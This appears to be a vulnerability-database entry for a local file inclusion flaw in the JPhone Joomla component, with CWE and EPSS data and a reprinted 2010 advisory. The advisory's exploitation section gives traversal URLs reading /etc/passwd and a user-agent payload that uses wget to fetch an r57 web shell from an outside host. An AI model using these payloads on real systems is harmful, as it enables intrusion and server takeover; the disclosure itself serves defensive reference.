CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Directory traversal vulnerability in jphone.php in the JPhone (com_jphone) component 1.0 Alpha 3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.95%
–
2023-03-19
–
–
–
0.94%
–
2023-07-02
–
–
–
0.83%
–
2024-02-11
–
–
–
0.83%
–
2024-03-10
–
–
–
0.83%
–
2024-06-02
–
–
–
0.83%
–
2024-11-17
–
–
–
0.83%
–
2024-12-22
–
–
–
0.83%
–
2025-02-02
–
–
–
0.81%
–
2025-03-16
–
–
–
0.97%
–
2025-01-19
–
–
–
0.83%
–
2025-02-02
–
–
–
0.81%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.51%
2025-04-06
–
–
–
–
0.51%
2025-04-06
–
–
–
–
0.51,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
=========================================================================================
- Discovered by : Chip D3 Bi0s
- Email : chipdebios[at]gmail[dot]com
- Group : LatinHackTeam
- Date : 2010-09-10
- Where : From Remote
-------------------------------------------------------------------------------------
Affected software description
Application : Jphone
Developer : Urs Kobald
Compatibility : 1.0 Alpha 3
License : GPLv2 or later
Date Added : 14 Aug 2010
website : http://www.4you-studio.com
Download : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html
I. BACKGROUND
Called Jphone, component agency 4you studio allows for your Joomla adapted mobile
version with a real interface using page transition effects rather pro
(the cube effect and popup are very nice).
Consisting of a component and a plugin for Joomla, it is after activating the plugin
define a menu (the menu management of Joomla). This is to link the specific component
to display your content. Currently seen by the articles, categories, sections are set
but also those contacts and links Web (Two native Joomla components).
The installation procedure is shown in the download package.
In addition, the proposed version is an alpha version
(therefore usable only for testing purposes) but resulted entirely in French.
Feel free to share your opinion on the forum.
Support for Android and PalmPre should be functional (not tested)
II. DESCRIPTION
Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3.
III. ANALYSIS
The bug is in the following files, specifying the lines
/components/com_jphone/jphone.php
[63] if($controller = JRequest::getVar('controller')) {
[64]
[65] require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
Explanation:As noted in the line [65] $controller
nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)
IV. EXPLOITATION
http://site/path/index.php?option=com_jphone&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00
changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>
A special greeting to my good friends:
F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
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[!] Produced in South America
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